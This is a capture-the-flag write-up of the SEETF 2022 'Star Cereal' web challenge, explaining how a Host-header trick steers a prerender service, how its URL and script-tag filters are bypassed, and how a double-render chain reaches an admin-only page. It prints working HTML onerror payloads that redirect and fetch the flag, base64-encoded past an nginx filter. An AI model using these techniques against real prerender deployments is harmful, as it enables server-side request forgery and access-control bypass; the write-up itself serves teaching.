Skip to content

Star Cereal

In SEETF 2022, 991 points

The Star Cereal has returned! This time with impenetrable security. You're never getting my cereal!

http://starcereal.chall.seetf.sg:10004

MD5: 7c990f8e301da8cdf544af595ce62e24

Challenge files: web_star_cereal.zip

Introduction

The challenge consists of 3 services:

  • app: A php application (the actual website)
  • prerender: A node application (renders app in chrome)
  • proxy: Nginx reverse proxy (routes requests to either of the above services)

Here's the relevant nginx config:

nginx
 location @prerender {
    proxy_set_header  X-Real-IP $remote_addr;

    # Do or do not, there is no flag.
    proxy_set_header Accept-Encoding "";
    subs_filter_types text/html text/css text/xml;
    subs_filter "SEE{.*}" "SEE{NO_FLAG_FOR_YOU_MUAHAHAHA}" ir;

    # https://gist.github.com/thoop/8165802
    set $prerender 0;
    if ($http_user_agent ~* "googlebot| <other bot UAs here>") {
        set $prerender 1;
    }

    # unimportant bits redacted


    if ($prerender = 1) {
        rewrite .* /$scheme://$host$request_uri? break;
        proxy_pass http://prerender:3000;
    }
    if ($prerender = 0) {
        proxy_pass http://app:80;
    }
}

Many apps are rendered client side using JavaScript, thus the initial HTML sent to the browser is not representative of the final app's content. Therefore, for SEO purposes, apps may use a prerender to load the app in chrome and execute any JavaScript to load data before presenting the page to the crawler bot. We can trigger this behavior by setting the user agent header to googlebot.

The requested URL is passed to the prerender bot by appending it as the path of the URL. For example, requests to http://example.com/xxx will be rewritten to http://prerender:3000/http://example.com/xxx. This is constructed using the $host nginx variable, which is derived from the attacker-controlled Host header. This means we can get the prerender service to render (almost) any URL by manipulating the Host header. However, there are some restrictions as we will see later.

Additionally, subs_filter "SEE{.*}" "SEE{NO_FLAG_FOR_YOU_MUAHAHAHA}" ir; causes nginx to filter out the flag. Thus we will probably need to encode the flag to evade this filter.

App

The only file of interest here is login.php:

php
<?php
	if (!in_array($_SERVER['HTTP_X_REAL_IP'], ['127.0.0.1', gethostbyname('proxy'), gethostname('prerender')]))
	{
		header('HTTP/1.0 403 Forbidden');
		die('<h1>Forbidden</h1><p>Only admins allowed to login.</p>');
	}
	echo getenv("FLAG"); 
?>

We can obtain the flag if we can send requests from the prerender service.

Prerender

However, the prerender service implements several checks to prevent malicious use.

js
const validateUrls = (req, res, next) => {
    let matches = url.parse(req.prerender.url).href.match(/^(http:\/\/|https:\/\/)app/gi)
    if (!matches) {
        return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA');
    }
    next();
}

The URL must start with http://app or https://app. This is trivially bypassed using http://[email protected].

Additionally:

js
const noScriptsPlease = (req, res, next) => {
    var matches = req.prerender.content.toString().match(/<script(?:.*?)>(?:[\S\s]*?)<\/script>/gi);
    if (matches)
        return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA');

    next();
}

The response is blocked if it contains script tags. This is also trivially bypassed using <img src='' onerror=js>.

At this point it seems all the mitigations is bypassed, so I was pretty confident about solving this quickly.

Exploitation

Exploit plan:

  1. Send request with User-Agent=googlebot to trigger prerender, set [email protected]
  2. Prerender loads mysite.com in chrome
  3. mysite.com contains an img tag that will execute code to fetch http://app/login.php

Oh wait

Step 3 doesn't work because we are making a cross origin request, from http://mysite.com to http://app. Hmm.

It would be pretty hard to get code execution on http://app, so I looked at http://prerender instead. We are actually able to control the contents of http://prerender by passing it a URL we control. The contents of the rendered page will then be sent to the browser. Notably, at this point, the browser renders the page contents under the http://prerender origin. Essentially, the contents have been rendered twice, once using the original page's origin and once under http://prerender.

By redirecting to http://prerender/http://[email protected]/page2.html in step 3 above, the prerender service will grab http://[email protected]/page2.html, render it and return the rendered contents as a response to http://prerender/http://[email protected]/page2.html.

From here, we can perform a same origin request to http://prerender/http://app/login.php to obtain the flag.

Exploit code

Page1.html: Redirects to a URL that loads page2.html under the http://prerender origin, enabling requests to http://prerender

html
<body>
<img src="" onerror="location.href='http://localhost:3000/http://[email protected]/cereal/page2.html'">
</body>

Page2.html: Loaded on http://prerender , fetch flag:

html
<body>
    <div id="out"></div>
<img src="" onerror="fetch('/http://app/login.php').then(r=>r.text())
                     .then(r=>document.getElementById('out').innerText=btoa(r))">
</body>

Sending the request in burp:

image.png

Decoding the base64, we obtain the flag:

html
<!DOCTYPE html><html lang="en"><head></head><body>
		<div>
			<p> Welcome back, admin! </p><p>
			</p><p> Here's your cereal. </p>
			<img src="images/cereal.jpg" alt="Cereal" width="200" height="200">
			<p> And your flag: SEE{1_c4n't_b3li3v3_1_k33p_g3tt1ng_h4cked!} </p>
		</div>
</body></html>